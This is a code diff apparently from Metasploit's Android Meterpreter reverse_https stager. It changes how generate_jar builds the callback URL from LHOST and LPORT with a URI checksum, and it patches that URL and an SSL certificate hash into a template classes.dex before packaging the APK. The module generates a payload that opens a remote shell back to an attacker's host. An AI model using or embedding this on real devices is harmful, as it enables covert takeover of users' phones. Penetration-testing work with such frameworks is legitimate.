@@ -27,23 +27,36 @@ def initialize(info = {})
27
27
end
28
28
29
29
def generate_jar ( opts = { } )
30
- host = datastore [ 'LHOST' ] ? datastore [ 'LHOST' ] . to_s : String . new
31
- port = datastore [ 'LPORT' ] ? datastore [ 'LPORT' ] . to_s : 8443 . to_s
32
- raise ArgumentError , "LHOST can be 32 bytes long at the most" if host . length + port . length + 1 > 32
30
+ # Default URL length is 30-256 bytes
31
+ uri_req_len = 30 + rand ( 256 -30 )
32
+ # Generate the short default URL if we don't know available space
33
+ if self . available_space . nil?
34
+ uri_req_len = 5
35
+ end
33
36
34
- jar = Rex ::Zip ::Jar . new
37
+ lurl = "ZZZZhttps://#{ datastore [ "LHOST" ] } "
38
+ lurl << ":#{ datastore [ "LPORT" ] } " if datastore [ "LPORT" ]
39
+ lurl << "/"
40
+ lurl << generate_uri_checksum ( Rex ::Payloads ::Meterpreter ::UriChecksum ::URI_CHECKSUM_INITJ , uri_req_len )
35
41
36
42
classes = File . read ( File . join ( Msf ::Config ::InstallRoot , 'data' , 'android' , 'apk' , 'classes.dex' ) , { :mode => 'rb' } )
37
- string_sub ( classes , 'ZZZZ ' , "ZZZZhttps://" + host + ":" + port )
43
+ string_sub ( classes , 'ZZZZ' + ' ' * 512 , lurl )
44
+
45
+ verify_cert_hash = get_ssl_cert_hash ( datastore [ 'StagerVerifySSLCert' ] ,
46
+ datastore [ 'HandlerSSLCert' ] )
47
+ if verify_cert_hash
48
+ hash = 'WWWW' + verify_cert_hash . unpack ( "H*" ) . first
49
+ string_sub ( classes , 'WWWW ' , hash )
50
+ end
51
+
38
52
apply_options ( classes )
39
53
54
+ jar = Rex ::Zip ::Jar . new
40
55
jar . add_file ( "classes.dex" , fix_dex_header ( classes ) )
41
-
42
56
files = [
43
57
[ "AndroidManifest.xml" ] ,
44
58
[ "resources.arsc" ]
45
59
]
46
-
47
60
jar . add_files ( files , File . join ( Msf ::Config . install_root , "data" , "android" , "apk" ) )
48
61
jar . build_manifest
49
62
0 commit comments